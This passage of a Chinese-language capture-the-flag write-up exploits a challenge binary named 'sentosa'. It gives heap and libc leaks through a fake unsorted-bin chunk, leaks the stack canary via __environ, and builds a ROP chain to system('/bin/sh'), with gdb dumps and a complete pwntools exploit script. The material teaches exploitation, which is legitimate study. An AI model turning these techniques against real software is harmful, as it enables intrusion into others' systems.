  12. leak_low = int(io.recvline()[:-1], 10) & 0xffffffff
  13. io.recvuntil("Capacity: ")
  14. leak_high = int(io.recvline()[:-1], 10) & 0xffff
  15. libc_base = leak_low + (leak_high<<32) - 0x3c3b78
  16. log.info("libc base: 0x%x" % libc_base)

由于我们不能直接分配一个 small chunk,所以需要构造一个 fake chunk。利用栈溢出修改 project address 可以做到这一点。另外还需要满足 libc free 的检查,还有 Cancel 过程中的 check。

首先分配 5 个 project,其中最后两个利用漏洞修改了 project address,使其指向 fake chunk。此时内存布局如下:

  1. gdb-peda$ x/18gx 0x555555756040
  2. 0x555555756040: 0x0000555555757070 0x0000555555757000 <-- projects
  3. 0x555555756050: 0x00005555557570a0 0x0000555555757110
  4. 0x555555756060: 0x0000555555757090 0x000055555575708b
  5. 0x555555756070: 0x0000000000000000 0x0000000000000000
  6. 0x555555756080: 0x0000000000000000 0x0000000000000000
  7. 0x555555756090: 0x0000000000000000 0x0000000000000000
  8. 0x5555557560a0: 0x0000000000000000 0x0000000000000000
  9. 0x5555557560b0: 0x0000000000000000 0x0000000000000000
  10. 0x5555557560c0: 0x0000000000000006 0x0000000000000000 <-- proj_num
  11. gdb-peda$ x/50gx 0x555555757010-0x10
  12. 0x555555757000: 0x0000000000000000 0x0000000000000021 <-- chunk 1
  13. 0x555555757010: 0x0000015500000000 0x0000010000000100
  14. 0x555555757020: 0x0000000000000100 0x0000000000000021
  15. 0x555555757030: 0x0000010000000000 0x0000010000000100
  16. 0x555555757040: 0x0000000000000100 0x0000000000000021
  17. 0x555555757050: 0x0000010000000000 0x0000010000000100
  18. 0x555555757060: 0x0000000000000100 0x0000000000000031 <-- chunk 0
  19. 0x555555757070: 0x000000410000000f 0x0000000000000000
  20. 0x555555757080: 0x0000000100000000 0x00000000000000d1 <-- fake chunk (chunk 4)
  21. 0x555555757090: 0x0000000000000064 0x0000000000000071 <-- chunk 2
  22. 0x5555557570a0: 0x0000000100000050 0x0000000000000000
  23. 0x5555557570b0: 0x0000000000000000 0x0000000000000000
  24. 0x5555557570c0: 0x0000000000000000 0x0000000000000000
  25. 0x5555557570d0: 0x0000000000000000 0x0000000000000000
  26. 0x5555557570e0: 0x0000000000000000 0x0000000000000000
  27. 0x5555557570f0: 0x0000010000000000 0x0000010000000100
  28. 0x555555757100: 0x0000000000000100 0x0000000000000071 <-- chunk 3
  29. 0x555555757110: 0x4141414100000050 0x4141414141414141
  30. 0x555555757120: 0x4141414141414141 0x4141414141414141
  31. 0x555555757130: 0x4141414141414141 0x4141414141414141
  32. 0x555555757140: 0x4141414141414141 0x4141414141414141
  33. 0x555555757150: 0x4141414141414141 0x0000000000000021 <-- fake chunk (0xd0+0x80=0x150)
  34. 0x555555757160: 0x0000010000000000 0x0000010000000100
  35. 0x555555757170: 0x0000000000000100 0x0000000000020e91 <-- top chunk
  36. 0x555555757180: 0x0000000000000000 0x0000000000000000

释放掉 chunk 4,此时它将被放进 unsorted bin,其 fd, bk 指针指向 libc:

  1. gdb-peda$ x/50gx 0x555555757010-0x10
  2. 0x555555757000: 0x0000000000000000 0x0000000000000021
  3. 0x555555757010: 0x0000015500000000 0x0000010000000100
  4. 0x555555757020: 0x0000000000000100 0x0000000000000021
  5. 0x555555757030: 0x0000010000000000 0x0000010000000100
  6. 0x555555757040: 0x0000000000000100 0x0000000000000021
  7. 0x555555757050: 0x0000010000000000 0x0000010000000100
  8. 0x555555757060: 0x0000000000000100 0x0000000000000031
  9. 0x555555757070: 0x000000410000000f 0x0000000000000000
  10. 0x555555757080: 0x0000000100000000 0x00000000000000d1
  11. 0x555555757090: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer
  12. 0x5555557570a0: 0x0000000100000050 0x0000000000000000
  13. 0x5555557570b0: 0x0000000000000000 0x0000000000000000
  14. 0x5555557570c0: 0x0000000000000000 0x0000000000000000
  15. 0x5555557570d0: 0x0000000000000000 0x0000000000000000
  16. 0x5555557570e0: 0x0000000000000000 0x0000000000000000
  17. 0x5555557570f0: 0x0000010000000000 0x0000010000000100
  18. 0x555555757100: 0x0000000000000100 0x0000000000000071
  19. 0x555555757110: 0x4141414100000050 0x4141414141414141
  20. 0x555555757120: 0x4141414141414141 0x4141414141414141
  21. 0x555555757130: 0x4141414141414141 0x4141414141414141
  22. 0x555555757140: 0x4141414141414141 0x4141414141414141
  23. 0x555555757150: 0x00000000000000d0 0x0000000000000020
  24. 0x555555757160: 0x0000010000000000 0x0000010000000100
  25. 0x555555757170: 0x0000000000000100 0x0000000000020e91
  26. 0x555555757180: 0x0000000000000000 0x0000000000000000

将它打印出来即可得到 libc 的基址。

leak stack and canary

  1. def leak_stack_canary():
  2. global canary
  3. environ_addr = libc.symbols['__environ'] + libc_base
  4. log.info("__environ address: 0x%x" % environ_addr)
  5. start_proj(0, 'A'*0x5a + p64(environ_addr - 9) , 1, 1, 1) # 4
  6. view_proj()
  7. for i in range(5):
  8. io.recvuntil("Price: ")
  9. leak_low = int(io.recvline()[:-1], 10) & 0xffffffff
  10. io.recvuntil("Area: ")
  11. leak_high = int(io.recvline()[:-1], 10) & 0xffff
  12. stack_addr = leak_low + (leak_high<<32)
  13. canary_addr = stack_addr - 0x130
  14. log.info("stack address: 0x%x" % stack_addr)
  15. log.info("canary address: 0x%x" % canary_addr)
  16. start_proj(0, 'A'*0x5a + p64(canary_addr - 3), 1, 1, 1) # 6
  17. view_proj()
  18. for i in range(7):
  19. io.recvuntil("Project: ")
  20. canary = (u64(io.recvline()[:-1] + "\x00"))<<8
  21. log.info("canary: 0x%x" % canary)

通过 libc 地址计算出 __environ 的地址,构造 project 并打印出来得到其指向的 stack 地址。然后通过偏移计算得到 canary 地址,同样的方法构造 project,得到 canary。

pwn

  1. def pwn():
  2. pop_rdi_ret = libc_base + 0x21102
  3. bin_sh = libc_base + next(libc.search('/bin/sh\x00'))
  4. system_addr = libc_base + libc.symbols['system']
  5. payload = "A" * 0x68
  6. payload += p64(canary) # canary
  7. payload += "A" * 0x28
  8. payload += p64(pop_rdi_ret) # return address
  9. payload += p64(bin_sh)
  10. payload += p64(system_addr) # system("/bin/sh")
  11. start_proj(0, payload, 1, 1, 1)
  12. io.interactive()

最后我们就可以构造 ROP 得到 shell 了。

  1. gdb-peda$ x/24gx $rsp
  2. 0x7fffffffec70: 0x00007ffff7dd3780 0x00000000f7b046e0
  3. 0x7fffffffec80: 0x4141414141414141 0x4141414141414141
  4. 0x7fffffffec90: 0x4141414141414141 0x4141414141414141
  5. 0x7fffffffeca0: 0x4141414141414141 0x4141414141414141
  6. 0x7fffffffecb0: 0x4141414141414141 0x4141414141414141
  7. 0x7fffffffecc0: 0x4141414141414141 0x4141414141414141
  8. 0x7fffffffecd0: 0x4141414141414141 0x4141414141414141
  9. 0x7fffffffece0: 0x4141414141414141 0xa078057095c7cf00 <-- canary
  10. 0x7fffffffecf0: 0x4141414141414141 0x4141414141414141
  11. 0x7fffffffed00: 0x4141414141414141 0x4141414141414141
  12. 0x7fffffffed10: 0x4141414141414141 0x00007ffff7a2f102 <-- pop rdi; ret
  13. 0x7fffffffed20: 0x00007ffff7b9a177 0x00007ffff7a53390 <-- "/bin/sh" <-- system

开启 ASLR。Bingo!!!

  1. $ python exp.py
  2. [+] Starting local process './sentosa': pid 11161
  3. [*] heap base: 0x556cac880000
  4. [*] libc base: 0x7fd37c2a7000
  5. [*] __environ address: 0x7fd37c66cf38
  6. [*] stack address: 0x7ffcdd2ae7c8
  7. [*] canary address: 0x7ffcdd2ae698
  8. [*] canary: 0x307ea32507776d00
  9. [*] Switching to interactive mode
  10. Your project is No.7
  11. $ whoami
  12. firmy

exploit

完整的 exp 如下:

  1. #!/usr/bin/env python
  2. from pwn import *
  3. #context.log_level = 'debug'
  4. io = process(['./sentosa'], env={'LD_PRELOAD':'./libc-2.23.so'})
  5. libc = ELF('libc-2.23.so')
  6. def start_proj(length, name, price, area, capacity):
  7. io.sendlineafter("Exit\n", '1')
  8. io.sendlineafter("name: ", str(length))
  9. io.sendlineafter("name: ", name)
  10. io.sendlineafter("price: ", str(price))
  11. io.sendlineafter("area: ", str(area))
  12. io.sendlineafter("capacity: ", str(capacity))
  13. def view_proj():
  14. io.sendlineafter("Exit\n", '2')
  15. def cancel_proj(idx):
  16. io.sendlineafter("Exit\n", '4')
  17. io.sendlineafter("number: ", str(idx))
  18. def leak_heap():
  19. global heap_base
  20. start_proj(0, 'A', 1, 1, 1) # 0
  21. start_proj(0, 'A'*0x5a, 1, 1, 1) # 1
  22. start_proj(0, 'A', 1, 1, 1) # 2
  23. cancel_proj(2)
  24. cancel_proj(0)
  25. view_proj()
  26. io.recvuntil("Capacity: ")
  27. leak = int(io.recvline()[:-1], 10) & 0xffffffff
  28. heap_base = (0x55<<40) + (leak<<8) # 0x55 or 0x56
  29. log.info("heap base: 0x%x" % heap_base)
  30. def leak_libc():
  31. global libc_base
  32. start_proj(0xf, 'A', 0xd1, 0, 0x64) # 0
  33. start_proj(0x50, '\x01', 1, 1, 1) # 2
  34. start_proj(0x50, 'A'*0x44+'\x21', 1, 1, 1) # 3
  35. start_proj(0, 'A'*0x5a + p64(heap_base+0x90), 1, 1, 1) # 4
  36. start_proj(0, 'A'*0x5a + p64(heap_base+0x8b), 1, 1, 1) # 5
  37. cancel_proj(4)
  38. view_proj()
  39. for i in range(5):
  40. io.recvuntil("Area: ")
  41. leak_low = int(io.recvline()[:-1], 10) & 0xffffffff
  42. io.recvuntil("Capacity: ")
  43. leak_high = int(io.recvline()[:-1], 10) & 0xffff
  44. libc_base = leak_low + (leak_high<<32) - 0x3c3b78
  45. log.info("libc base: 0x%x" % libc_base)
  46. def leak_stack_canary():
  47. global canary
  48. environ_addr = libc.symbols['__environ'] + libc_base
  49. log.info("__environ address: 0x%x" % environ_addr)
  50. start_proj(0, 'A'*0x5a + p64(environ_addr - 9) , 1, 1, 1) # 4
  51. view_proj()
  52. for i in range(5):
  53. io.recvuntil("Price: ")
  54. leak_low = int(io.recvline()[:-1], 10) & 0xffffffff
  55. io.recvuntil("Area: ")
  56. leak_high = int(io.recvline()[:-1], 10) & 0xffff
  57. stack_addr = leak_low + (leak_high<<32)
  58. canary_addr = stack_addr - 0x130
  59. log.info("stack address: 0x%x" % stack_addr)
  60. log.info("canary address: 0x%x" % canary_addr)
  61. start_proj(0, 'A'*0x5a + p64(canary_addr - 3), 1, 1, 1) # 6
  62. view_proj()
  63. for i in range(7):
  64. io.recvuntil("Project: ")
  65. canary = (u64(io.recvline()[:-1] + "\x00"))<<8
  66. log.info("canary: 0x%x" % canary)
  67. def pwn():
  68. pop_rdi_ret = libc_base + 0x21102
  69. bin_sh = libc_base + next(libc.search('/bin/sh\x00'))
  70. system_addr = libc_base + libc.symbols['system']
  71. payload = "A" * 0x68
  72. payload += p64(canary) # canary
  73. payload += "A" * 0x28
  74. payload += p64(pop_rdi_ret) # return address
  75. payload += p64(bin_sh)
  76. payload += p64(system_addr) # system("/bin/sh")
  77. start_proj(0, payload, 1, 1, 1)
  78. io.interactive()
  79. if __name__ == "__main__":
  80. leak_heap()
  81. leak_libc()
  82. leak_stack_canary()
  83. pwn()

参考资料